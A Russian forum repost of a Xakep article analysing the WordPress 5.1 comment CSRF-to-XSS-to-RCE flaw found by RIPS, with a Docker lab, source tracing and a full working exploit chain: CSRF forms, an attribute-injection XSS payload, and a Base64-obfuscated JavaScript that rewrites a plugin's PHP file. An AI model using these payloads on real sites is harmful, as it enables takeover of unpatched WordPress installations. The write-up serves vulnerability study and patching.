• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья От XSS до RCE одним движением мыши. Эксплуатируем новую уязвимость в WordPress

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
От XSS до RCE одним движением мыши. Эксплуатируем новую уязвимость в WordPress

Не прошло и месяца с последнего раза, как ребята из RIPS снова обнаружили уязвимость в WordPress. На этот раз уязвимость — в комментариях. Проблему усугубляет отсутствие токенов CSRF, в итоге уязвимость можно эксплуатировать, просто посетив сайт злоумышленника.

Корень проблемы в том, что текст комментария недостаточно фильтруется, если его оставляет администратор, а излишнее экранирование некоторых функций позволяет провести атаку типа межсайтовый скриптинг. Из-за особенностей администрирования WordPress XSS легко превращается в RCE.

Про баг снова сообщил Саймон Сканнелл (Simon Scannell) из RIPS Tech.



Стенд
Нам понадобится две машины: одна с WordPress, вторая же будет выступать в роли сайта злоумышленника. С него будет производиться атака «межсайтовая подделка запроса» (CSRF), результатом которой станет комментарий с полезной нагрузкой от имени администратора CMS.

Для этих целей используем пару контейнеров Docker. Начнем с WordPress. Сначала поднимаем базу данных MySQL.
Код:
$ docker run -d --rm -e MYSQL_USER="wpxss" -e MYSQL_PASSWORD="CdAT1pQ2lY" -e MYSQL_DATABASE="wpxss" --name=wpmysql --hostname=mysql mysql/mysql-server:5.7
Теперь веб-сервер и сопутствующие пакеты.
Код:
$ docker run -it --rm -p80:80 --name=wpxss --hostname=wpxss --link=wpmysql debian /bin/bash
$ apt-get update && apt-get install -y apache2 php php7.0-mysqli php-xdebug nano wget
Если будешь заниматься отладкой, то наряду с установкой расширения xdebug нужно указать необходимые настройки.
Код:
$ echo "xdebug.remote_enable=1" >> /etc/php/7.0/apache2/conf.d/20-xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.0/apache2/conf.d/20-xdebug.ini
Теперь скачиваем последнюю уязвимую версию WordPress — это 5.1.
Код:
$ cd /tmp && wget "https://wordpress.org/wordpress-5.1.tar.gz"
Затем распаковываем ее в веб-рут.
Код:
$ tar xzf wordpress-5.1.tar.gz
$ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown -R www-data:www-data /var/www/html/
После этого можно запускать сервер и приступать к установке CMS.
Код:
$ service apache2 start
wordpress-installation.jpg

Инсталляция WordPress

После настройки основных параметров можно отключить автоматическое обновление, добавив в конфигурационный файл такую строку:
Код:
$ echo "define( 'WP_AUTO_UPDATE_CORE', false );" >> /var/www/html/wp-config.php
С первым стендом мы закончили, переходим ко второму. Назовем его машиной атакующего.
Код:
$ docker run -it --rm -p8080:80 --name=attacker --hostname=attacker debian /bin/bash
Устанавливаем веб-сервер и текстовый редактор.
Код:
$ apt-get update && apt-get install -y apache2 nano
И это все, что нам здесь понадобится. Запускаем Apache, и стенд готов.
Код:
$ service apache2 start


Анализ уязвимости

Баг у нас — в системе комментирования. Давай посмотрим на нее пристальнее. Вся логика находится в файле /wp-includes/comment.php. Попробуем оставить коммент с тегом HTML в его тексте.
Код:
<img src="a" onerror=alert()>
Обработкой входящих комментариев занимается функция wp_handle_comment_submission, в нее информация попадает после нажатия на кнопку Post Comment.

wp-includes/comment.php
Код:
3112: function wp_handle_comment_submission( $comment_data ) {
wp-comment-submit-debug.jpg

Отладка функции размещения комментария

Вначале идет блок базовой фильтрации переданных пользователем данных, нужный, чтобы они соответствовали ожиданиям WordPress.

wp-includes/comment.php
PHP:
3117:   if ( isset( $comment_data['comment_post_ID'] ) ) {
3118:       $comment_post_ID = (int) $comment_data['comment_post_ID'];
3119:   }
3120:   if ( isset( $comment_data['author'] ) && is_string( $comment_data['author'] ) ) {
3121:       $comment_author = trim( strip_tags( $comment_data['author'] ) );
3122:   }
3123:   if ( isset( $comment_data['email'] ) && is_string( $comment_data['email'] ) ) {
3124:       $comment_author_email = trim( $comment_data['email'] );
3125:   }
3126:   if ( isset( $comment_data['url'] ) && is_string( $comment_data['url'] ) ) {
3127:       $comment_author_url = trim( $comment_data['url'] );
3128:   }
3129:   if ( isset( $comment_data['comment'] ) && is_string( $comment_data['comment'] ) ) {
3130:       $comment_content = trim( $comment_data['comment'] );
3131:   }
3132:   if ( isset( $comment_data['comment_parent'] ) ) {
3133:       $comment_parent = absint( $comment_data['comment_parent'] );
3134:   }
После этого проверяется наличие авторизации в системе.

wp-includes/comment.php
PHP:
3230:   // If the user is logged in
3231:   $user = wp_get_current_user();
3232:   if ( $user->exists() ) {
...
3248:   } else {
3249:       if ( get_option( 'comment_registration' ) ) {
3250:           return new WP_Error( 'not_logged_in', __( 'Sorry, you must be logged in to comment.' ), 403 );
3251:       }
3252:   }
Так как в данный момент я не залогинен в системе, тело условия игнорируется и выполнение кода продолжается.

Наконец, мы доходим до вызова функции wp_new_comment. Она заносит информацию о новом комментарии в таблицу wp_comments базы данных.

wp-includes/comment.php
PHP:
3293: $comment_id = wp_new_comment(wp_slash($commentdata), true);
Пользовательские данные предварительно проходят санитизацию с помощью функции wp_slash.

wp-includes/formatting.php
PHP:
5301: function wp_slash( $value ) {
5302:   if ( is_array( $value ) ) {
5303:       foreach ( $value as $k => $v ) {
5304:           if ( is_array( $v ) ) {
5305:               $value[ $k ] = wp_slash( $v );
5306:           } else {
5307:               $value[ $k ] = addslashes( $v );
5308:           }
5309:       }
5310:   } else {
5311:       $value = addslashes( $value );
5312:   }
5313:
5314:   return $value;
5315: }
И текст комментария превращается в
Код:
<img src=\"a\" onerror=alert()>
. Затем, уже внутри wp_new_comment, выполняется фильтрация всех переданных данных вызовом wp_filter_comment.

wp-includes/comment.php
PHP:
2024: function wp_new_comment( $commentdata, $avoid_die = false ) {
...
2071:   $commentdata = wp_filter_comment( $commentdata );
wp-includes/comment.php
PHP:
1896: /**
1897:  * Filters and sanitizes comment data.
...
1907:  */
1908: function wp_filter_comment( $commentdata ) {
...
1936:   /**
1937:    * Filters the comment content before it is set.
1938:    *
1939:    * @since 1.5.0
1940:    *
1941:    * @param string $comment_content The comment content.
1942:    */
1943:   $commentdata['comment_content'] = apply_filters( 'pre_comment_content', $commentdata['comment_content'] );
Список фильтров состоит из нескольких функций:
  • convert_invalid_entities
  • wp_targeted_link_rel
  • wp_filter_kses
  • wp_rel_nofollow
  • balanceTags
wp-comment-sanitize-filters.jpg

Фильтрация комментария внутри функции wp_filter_comment

Больше всего нас интересует wp_filter_kses. Эта функция удаляет все нежелательные элементы и атрибуты HTML, а также выполняет ряд проверок, чтобы избежать межсайтового скриптинга (XSS).

wp-includes/kses.php
PHP:
1884: function wp_filter_kses( $data ) {
1885:   return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
1886: }
wp-includes/kses.php
PHP:
731: function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) {
732:    if ( empty( $allowed_protocols ) ) {
733:        $allowed_protocols = wp_allowed_protocols();
734:    }
735:    $string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) );
736:    $string = wp_kses_normalize_entities( $string );
737:    $string = wp_kses_hook( $string, $allowed_html, $allowed_protocols );
738:    return wp_kses_split( $string, $allowed_html, $allowed_protocols );
739: }
Здесь последний вызов wp_kses_split убирает из текста комментария все HTML-теги, которые не разрешены разработчиками WordPress.

wp-includes/kses.php
PHP:
943: function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {
944:    global $pass_allowed_html, $pass_allowed_protocols;
945:    $pass_allowed_html      = $allowed_html;
946:    $pass_allowed_protocols = $allowed_protocols;
947:    return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string );
948: }
...
1012: function _wp_kses_split_callback( $match ) {
1013:   global $pass_allowed_html, $pass_allowed_protocols;
1014:   return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );
1015: }
...
1038: function wp_kses_split2( $string, $allowed_html, $allowed_protocols ) {
1039:   $string = wp_kses_stripslashes( $string );
...
1071:   if ( ! is_array( $allowed_html ) ) {
1072:       $allowed_html = wp_kses_allowed_html( $allowed_html );
1073:   }
1074:
1075:   // They are using a not allowed HTML element.
1076:   if ( ! isset( $allowed_html[ strtolower( $elem ) ] ) ) {
1077:       return '';
1078:   }
wp-comment-kses-filter.jpg

Фильтрация текста комментария при помощи kses

По умолчанию список разрешенных тегов включает в себя: a, abbr, acronym, b, blockquote, cite, code, del, em, i, q, s, strike, strong.

wp-comment-allowed-tags.jpg

Список разрешенных в комментарии HTML-тегов

Наш комментарий состоит из одного лишь img, и, как видишь, в списке он отсутствует. Поэтому, после того как функция отработает, весь текст комментария будет удален.

wp-comment-kses-filter-end.jpg

Текст комментария после прохождения фильтрации

Теперь ты понимаешь, через что приходится пройти комментарию прежде, чем он попадет в базу данных.

Сейчас авторизуемся от имени администратора и оставим комментарий с тегом a, который разрешен.
Код:
<a href="a" onmousemove=alert()>Test
Теперь отработает тот участок кода, где проверялось наличие активной пользовательской сессии.

wp-includes/comment.php
PHP:
3112: function wp_handle_comment_submission( $comment_data ) {
...
3231:   $user = wp_get_current_user();
3232:   if ( $user->exists() ) {
3233:       if ( empty( $user->display_name ) ) {
3234:           $user->display_name = $user->user_login;
3235:       }
3236:       $comment_author       = $user->display_name;
3237:       $comment_author_email = $user->user_email;
3238:       $comment_author_url   = $user->user_url;
3239:       $user_ID              = $user->ID;
3240:       if ( current_user_can( 'unfiltered_html' ) ) {
...
3247:       }
Тут заполняются основные параметры комментария, такие как имя автора, email и прочие, и проверяется наличие у пользователя флага unfiltered_html. Юзеры с этим флагом могут использовать HTML-разметку или даже код JavaScript в страницах, сообщениях, комментариях и виджетах. По дефолту этот флаг имеется только у роли редактора (editor) и администратора (administrator).

wp-admin/includes/schema.php
PHP:
708: function populate_roles_160() {
...
723:    add_role( 'administrator', 'Administrator' );
724:    add_role( 'editor', 'Editor' );
...
729:    // Add caps for Administrator role
730:    $role = get_role( 'administrator' );
...
743:    $role->add_cap( 'unfiltered_html' );
...
762:    // Add caps for Editor role
763:    $role = get_role( 'editor' );
...
768:    $role->add_cap( 'unfiltered_html' );
Затем проверяется наличие и валидность nonce-токена в параметре
Код:
_wp_unfiltered_html_comment
.

wp-includes/comment.php
PHP:
3240:       if ( current_user_can( 'unfiltered_html' ) ) {
3241:           if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] )
3242:               || ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_ID )
3243:           ) {
3244:               kses_remove_filters(); // start with a clean slate
3245:               kses_init_filters(); // set up the filters
3246:           }
3247:       }
В качестве CSRF-токенов в WordPress используется система так называемых Nonce. Маркер безопасности nonce представляет собой буквенно-цифровой хеш, который генерируется для каждого действия пользователя и имеет ограниченный срок службы.

Если посмотреть на форму комментирования, то мы увидим, что там отсутствует какая-либо защита от атак CSRF. Это связано с тем, что некоторые механизмы уведомлений WordPress, такие как трекбэк (trackback) и пингбэк (pingback), не могли бы работать корректно, если бы такая защита существовала.

Значит, злоумышленник может создавать комментарии от имени пользователей блога WordPress, используя CSRF-атаки. Именно для борьбы с этим для пользователей, которые могут оставлять комментарии без санитизации, разработчики WordPress ввели nonce-токены.

Когда администратор или любой другой пользователь с unfiltered_html отправляет комментарий с валидным nonce, то комментарий создается без фильтрации. Если токен недействителен, комментарий создается, но к нему применяется санитизация.

В моем случае я отправил комментарий легитимно, от имени администратора, поэтому результат проверки условия ниже будет ложным и функции kses_remove_filters и kses_init_filters не будут вызваны. Комментарий с XSS будет создан.

wp-includes/comment.php
PHP:
3241:           if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] )
3242:               || ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_ID )
3243:           ) {
3244:               kses_remove_filters(); // start with a clean slate
3245:               kses_init_filters(); // set up the filters
3246:           }

wp-admin-comment-xss.jpg

Комментарий с XSS от администратора

Это, конечно, замечательно, но нас интересует реальный вектор атаки!
1f642.svg
Поэтому попробуем провернуть то же самое, только с сайта злоумышленника. Для этого перейдем на машину attacker и создадим файл HTML с формой комментирования.

/var/www/html/csrf.html
Код:
<html>
  <body>
    <form action="http://wpxss.vh/wp-comments-post.php" method="POST">
      <input type="text" name="comment" value="&lt;a href=&quot;a&quot; onmousemove=alert()&gt;Click" />
      <input type="hidden" name="submit" value="Post Comment" />
      <input type="hidden" name="comment_post_ID" value="1" />
      <input type="hidden" name="comment_parent" value="0" />
      <input type="hidden" name="_wp_unfiltered_html_comment" value="any" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Вектор используем такой же:
Код:
<a href="a" onmousemove=alert()>Test
. Обрати внимание на поле _wp_unfiltered_html_comment, в нем должен находиться валидный токен nonce, но, так как у меня его нет, я указываю произвольное значение.

post-comment-csrf-template.jpg

Шаблон страницы для эксплуатации CSRF в комментариях WordPress

Теперь мы попадаем в условие, потому что nonce для этого действия указан неверный.

wp-includes/comment.php
Код:
3241:           if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] )
3242:               || ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_ID )
3243:           ) {
3244:               kses_remove_filters(); // start with a clean slate
3245:               kses_init_filters(); // set up the filters
Функция kses_remove_filters убирает фильтры, которые будут вызваны при проверке комментария.

wp-includes/kses.php
Код:
2005: function kses_remove_filters() {
...
2009:   // Comment filtering
2010:   remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
2011:   remove_filter( 'pre_comment_content', 'wp_filter_kses' );
...
2017: }
А kses_init_filters вновь инициализирует нужные функции для фильтрации.

wp-includes/kses.php
Код:
1976: function kses_init_filters() {
...
1980:   // Comment filtering
1981:   if ( current_user_can( 'unfiltered_html' ) ) {
1982:       add_filter( 'pre_comment_content', 'wp_filter_post_kses' );
1983:   } else {
1984:       add_filter( 'pre_comment_content', 'wp_filter_kses' );
1985:   }
...
1991: }
Обрати внимание, что для пользователей с флагом unfiltered_html используется wp_filter_post_kses вместо wp_filter_kses. В чем же отличие?

wp-includes/kses.php
Код:
1884: function wp_filter_kses( $data ) {
1885:   return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
1886: }
...
1915: function wp_filter_post_kses( $data ) {
1916:   return addslashes( wp_kses( stripslashes( $data ), 'post' ) );
1917: }
В случае с wp_filter_post_kses используется более лояльная фильтрация входных данных.

wp-includes/kses.php
Код:
829: function wp_kses_allowed_html( $context = '' ) {
830:    global $allowedposttags, $allowedtags, $allowedentitynames;
...
844:    switch ( $context ) {
845:        case 'post':
846:            /** This filter is documented in wp-includes/kses.php */
847:            $tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context );
...
851:                $tags = $allowedposttags;
852:
853:                $tags['form'] = array(
854:                    'action'         => true,
855:                    'accept'         => true,
856:                    'accept-charset' => true,
857:                    'enctype'        => true,
858:                    'method'         => true,
859:                    'name'           => true,
860:                    'target'         => true,
861:                );
...
864:                $tags = apply_filters( 'wp_kses_allowed_html', $tags, $context );
865:            }
866:
867:            return $tags;
Например, вот так выглядит список разрешенных атрибутов тега <a>.

wp-filter-post-kses-allowed-tags.jpg

Список разрешенных атрибутов при использовании фильтра wp_filter_post_kses

Сравни с тем, что был доступен при использовании wp_filter_kses.

wp-filter-kses-allowed-tags.jpg

Список разрешенных атрибутов при использовании фильтра wp_filter_kses

Почувствуй разницу, как говорится.

Следует отдельно поговорить о теге <a>. После того как будет выполнена необходимая санитизация текста комментария, WordPress оптимизирует теги <a> для SEO, а именно добавляет атрибут rel. Он определяет отношения между текущим документом и документом, на который ведет ссылка, заданная атрибутом href. За эту операцию отвечает функция wp_rel_nofollow_callback.

wp-includes/formatting.php
Код:
2984: function wp_rel_nofollow( $text ) {
...
2986:   $text = stripslashes( $text );
2987:   $text = preg_replace_callback( '|<a (.+?)>|i', 'wp_rel_nofollow_callback', $text );
2988:   return wp_slash( $text );
2989: }
...
3002: function wp_rel_nofollow_callback( $matches ) {
3003:   $text = $matches[1];
3004:   $atts = shortcode_parse_atts( $matches[1] );
Тут есть интересный кусок кода, который отрабатывает только тогда, когда в теге <a> уже указан атрибут rel.

wp-includes/formatting.php
Код:
3013:   if ( ! empty( $atts['rel'] ) ) {
3014:       $parts = array_map( 'trim', explode( ' ', $atts['rel'] ) );
3015:       if ( false === array_search( 'nofollow', $parts ) ) {
3016:           $parts[] = 'nofollow';
3017:       }
3018:       $rel = implode( ' ', $parts );
А интересен он вот чем. Цикл на строке 3022 перебирает все существующие атрибуты и приводит их к виду название_атрибута="значение_атрибута". Значение атрибута обрамляется двойными кавычками.

wp-includes/formatting.php
Код:
3021:       $html = '';
3022:       foreach ( $atts as $name => $value ) {
3023:           $html .= "{$name}=\"$value\" ";
3024:       }
3025:       $text = trim( $html );
3026:   }
И все бы ничего, вот только значения могут быть обрамлены одинарными кавычками и конструкция
Код:
<a title='test"'>
будет считаться валидным атрибутом title, значение которого test". Проверим это, отправив следующий пейлоад и не забыв добавить rel через наш CSRF PoC.

Код:
<a title='test"INJECT_HERE' rel="any">Click
/var/www/html/csrf.html
Код:
<html>
  <body>
    <form action="http://wpxss.vh/wp-comments-post.php" method="POST">
      <input type="text" name="comment" value="&lt;a title=&apos;test&quot;INJECT_HERE&apos; rel=&quot;any&quot;&gt;Click" />
      <input type="hidden" name="submit" value="Post Comment" />
      <input type="hidden" name="comment_post_ID" value="1" />
      <input type="hidden" name="comment_parent" value="0" />
      <input type="hidden" name="_wp_unfiltered_html_comment" value="any" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

pass-single-quoted-attribute-in-callback.jpg

Передача значения атрибута title в одинарных кавычках

Теперь логика работы внутри цикла foreach нарушится, и на выходе мы получим не совсем те атрибуты для тега <a>, что ожидались. Наконец, функция wp_rel_nofollow_callbackвернет полностью сгенерированную ссылку, в тело которой внедрена строка — по сути, еще один атрибут — INJECT_HERE.
Код:
<a title="test"INJECT_HERE" rel="any nofollow">Click
/var/www/html/csrf.html
Код:
3027:   return "<a $text rel=\"$rel\">";
3028: }

wordpress-xss-inside-a-tag.jpg

Внедрение произвольных атрибутов в тег a через функцию wp_rel_nofollow_callback

Вот и долгожданная XSS. Давай сделаем рабочий эксплоит c вызовом каноничного alert().

Для выполнения JavaScript будем использовать атрибут onmousemove. Таким образом, скрипт будет срабатывать при наведении курсором мыши на ссылку. Чтобы наш пейлоад отрабатывал постоянно, немного изменим стиль ссылки при помощи атрибута style и нескольких свойств CSS, которые заставят ссылку перекрыть всю область отображения сайта.

Код:
<a title='xss" style=left:0;top:0;position:fixed;display:block;width:1000%;height:1000% onmousemove=alert("XSS") name="none' rel="any">Hello
csrf.html
Код:
<html>
  <body>
    <form action="http://wpxss.vh/wp-comments-post.php" method="POST">
      <input type="text" name="comment" value="&lt;a title=&apos;xss&quot; style=left:0;top:0;position:fixed;display:block;width:1000%;height:1000% onmousemove=alert(&quot;XSS&quot;) name=&quot;none&apos; rel=&quot;any&quot;&gt;Hello" />
      <input type="hidden" name="submit" value="Post Comment" />
      <input type="hidden" name="comment_post_ID" value="1" />
      <input type="hidden" name="comment_parent" value="0" />
      <input type="hidden" name="_wp_unfiltered_html_comment" value="any" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Атрибут style тоже инжектим при помощи бага, так как его простое использование в теле будет отфильтровано CMS и останутся только безобидные свойства типа height и width.

После того как функция wp_rel_nofollow_callback отработает, наш тег примет законченный вид.
Код:
<a title="xss" style=left:0;top:0;position:fixed;display:block;width:1000%;height:1000% onmousemove=alert("XSS") name="none" rel="any nofollow">Hello

wp-xss-payload-after-filtering.jpg

Полезная нагрузка после работы функции wp_rel_nofollow_callback превращается в XSS

Далее комментарий добавляется в базу данных, а нас редиректит на страницу записи. И, благодаря манипуляции со стилями, XSS-вектор сразу же отрабатывает.

wp-5-1-xss-alert.jpg

Успешная XSS атака на WordPress 5.1

Дальше ты можешь применить фантазию и сгенерировать нужную в конкретном случае полезную нагрузку. Так как все последующие манипуляции будут выполнены непосредственно в контексте атакуемого сайта, никакие заголовки CORS не помогут противостоять возможным деструктивным действиям.

Как ты знаешь, WordPress позволяет администраторам редактировать файлы плагинов и тем, если для этого имеются соответствующие права доступа в ОС. Поэтому не составит большого труда написать эксплоит, который сможет получить токен CSRF на редактирование какого-нибудь файла плагина и затем записать туда любой код на PHP.

Я накидал небольшой PoC, который редактирует стандартный файл index.php плагина akismet.

exploit.js
Код:
var exploit = function() {
    var nonce = '';
    var phpcode = '<?php phpinfo();/*';
    var pluginurl = '/wp-admin/plugin-editor.php?plugin=akismet/index.php&Submit=Select';
    var pluginupdateurl = '/wp-admin/admin-ajax.php';
    var file = "akismet/index.php";
    var plugin = "akismet/akismet.php";
    console.log("Get nonce token.");
    jQuery.get(pluginurl, function(data) {
        nonce = jQuery(data).find('#template #nonce').val();
        if(nonce) {
            console.log("Success! nonce: " + nonce);
            var postdata = {
                "nonce": nonce,
                "newcontent": phpcode,
                "action": "edit-theme-plugin-file",
                "file": file,
                "plugin": plugin,
                "docs-list": ""
            }
            console.log("Add PHP code to plugin file.");
            jQuery.post(pluginupdateurl, postdata, function(data){
                console.log("Success!");
                window.open("/wp-content/plugins/akismet/");
            });
        }
    });
}
var h=document.getElementsByTagName('head')[0];
var j=document.createElement('script');
j.onload = exploit;
j.src='/wp-admin/load-scripts.php?load=jquery-core';
h.appendChild(j);
Для упрощения эксплоит я минимизировал и перевел в Base64, а затем записал в CSRF-пейлоад. Используя функцию atob, привожу эксплоит в нормальный вид и с помощью evalвыполняю его.

csrf.html
Код:
<html>
  <body>
    <form action="http://wpxss.vh/wp-comments-post.php" method="POST">
      <input type="text" name="comment" value="&lt;a title=&apos;xss&quot; style=left:0;top:0;position:fixed;display:block;width:1000%;height:1000% onmousemove=eval(atob(&quot;dmFyIGV4cGxvaXQ9ZnVuY3Rpb24oKXt2YXIgbz0iIjtjb25zb2xlLmxvZygiR2V0IG5vbmNlIHRva2VuLiIpLGpRdWVyeS5nZXQoIi93cC1hZG1pbi9wbHVnaW4tZWRpdG9yLnBocD9wbHVnaW49YWtpc21ldC9pbmRleC5waHAmU3VibWl0PVNlbGVjdCIsZnVuY3Rpb24oZSl7aWYobz1qUXVlcnkoZSkuZmluZCgiI3RlbXBsYXRlICNub25jZSIpLnZhbCgpKXtjb25zb2xlLmxvZygiU3VjY2VzcyEgbm9uY2U6ICIrbyk7dmFyIG49e25vbmNlOm8sbmV3Y29udGVudDoiPD9waHAgcGhwaW5mbygpOy8qIixhY3Rpb246ImVkaXQtdGhlbWUtcGx1Z2luLWZpbGUiLGZpbGU6ImFraXNtZXQvaW5kZXgucGhwIixwbHVnaW46ImFraXNtZXQvYWtpc21ldC5waHAiLCJkb2NzLWxpc3QiOiIifTtjb25zb2xlLmxvZygiQWRkIFBIUCBjb2RlIHRvIHBsdWdpbiBmaWxlLiIpLGpRdWVyeS5wb3N0KCIvd3AtYWRtaW4vYWRtaW4tYWpheC5waHAiLG4sZnVuY3Rpb24oZSl7Y29uc29sZS5sb2coIlN1Y2Nlc3MhIiksd2luZG93Lm9wZW4oIi93cC1jb250ZW50L3BsdWdpbnMvYWtpc21ldC8iKX0pfX0pfSxoPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0saj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtqLm9ubG9hZD1leHBsb2l0LGouc3JjPSIvd3AtYWRtaW4vbG9hZC1zY3JpcHRzLnBocD9sb2FkPWpxdWVyeS1jb3JlIixoLmFwcGVuZENoaWxkKGopOw==&quot;)) name=&quot;none&apos; rel=&quot;any&quot;&gt;Hello
" />
      <input type="hidden" name="submit" value="Post Comment" />
      <input type="hidden" name="comment_post_ID" value="1" />
      <input type="hidden" name="comment_parent" value="0" />
      <input type="hidden" name="_wp_unfiltered_html_comment" value="any" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Так что от XSS до RCE тут всего лишь один взмах мышкой.


Демонстрация уязвимости (видео)




Выводы
Сегодня ты узнал об очередной уязвимости, найденной исследователями из RIPS. Многие безопасники недооценивают XSS-атаки, однако глупо будет отрицать, что есть контексты, где этот вид атаки имеет критический уровень опасности. Возможности административной панели позволяют с легкостью превратить XSS в RCE.

Хорошо хоть, что разработчики WordPress оперативно реагируют на уязвимости и с завидной регулярностью выпускают заплатки, да и автоматическое обновление системы тут как нельзя кстати. Поэтому, если по каким-то причинам оно у тебя отключено, немедленно обновляйся на версию CMS под номером 5.1.1.

А еще есть смысл перестать ходить по незнакомым сайтам в браузере, где ты авторизован на важных для тебя ресурсах как администратор.


Автор: aLLy
хакер.ру
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх